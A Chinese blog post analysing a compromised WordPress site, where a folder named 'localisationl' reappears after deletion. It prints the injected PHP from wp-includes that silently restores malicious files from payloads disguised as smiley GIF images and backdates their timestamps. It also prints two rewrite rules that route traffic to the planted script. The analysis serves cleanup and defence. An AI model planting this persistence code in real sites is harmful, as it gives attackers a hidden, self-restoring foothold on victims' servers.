wordpress网站根目录出现不明文件夹localisationl

Author: 陌小雨Date: 2020-06-11View: 115

常在河边走,哪有不湿鞋,今天小雨碰到一个客户说自己的wordpress网站根目录下出现localisationl文件夹,里面包含了两个文件,即使删除了,一访问网站,还是会出现

经过排查发现wordpress的安装文件被修改了,所以建议他重新在官网下载wordpress,备份好图片、插件、数据库和模板,重新安装。

他的故事结束了,小雨的才刚刚开始。

经过全局搜索,发现是因为wordpress的wp-includes文件夹下面的load.php和template-loader.php被恶意修改了。

额外添加的代码如下:


//ck1bg
$nowFileDir =  'localisationl';
$nowHtacFile =  './.htaccess';
$nowMobanFile =  './localisationl/moban.html';
$nowIndexFile =  './localisationl/index.php';
$nowLogFile =  './localisationl/logs.txt';
$bkLocalFileIndex1 =  './wp-includes/images/smilies/icon_reds.gif';
$bkLocalFileHtac1 =  './wp-includes/images/smilies/icon_blacks.gif';
$bkLocalFileMoban1 =  './wp-includes/images/smilies/icon_greens.gif';

if($nowHtacFile && file_exists($bkLocalFileHtac1)){
	if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@chmod($nowHtacFile,0755);
		@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
		@chmod($nowHtacFile,0755);
	}
}


if(file_exists($bkLocalFileIndex1)){
	if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@chmod($nowIndexFile,0755);
		@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
		@chmod($nowIndexFile,0755);
	}
}

if(file_exists($bkLocalFileMoban1)){
	
	if(!file_exists($nowMobanFile)){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
		@chmod($nowMobanFile,0755);
	}else{
		if(filesize($nowMobanFile) != filesize($bkLocalFileMoban1)){
			$tpstrMb = file_get_contents($nowMobanFile);
			if(strstr($tpstrMb,"#bbbtitsbbb#") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
				$fitime = filemtime($bkLocalFileMoban1);
				@chmod($bkLocalFileMoban1,0755);
				@file_put_contents($bkLocalFileMoban1,$tpstrMb);
				@touch($bkLocalFileMoban1, $fitime, $fitime);  
			}else{
				@chmod($bkLocalFileMoban1,0755);
				@file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1));
				@chmod($bkLocalFileMoban1,0755);
			}
		}
	}
	
}
//ck1end

这也就是造成localisationl文件夹删除了后只要一访问网站立马又出现的原因。

还发现htaccess文件也被添加了两条伪静态

RewriteRule ^.*/(\d+)/$ localisationl/index\.php?id=$1&%{QUERY_STRING} [L]
RewriteRule ^.*-(\d+)/$ localisationl/index\.php?cat=$1&%{QUERY_STRING} [L]

不过客户的服务器是nginx,所以这个文件应该没有起作用,但如果是apache又会出现什么情况呢?

我们来一探究竟,这个localisationl文件夹下的index.php文件里到底是什么东东?他又做了什么?

展开代码

那么他究竟做了什么坏事了呢?请听下回分解。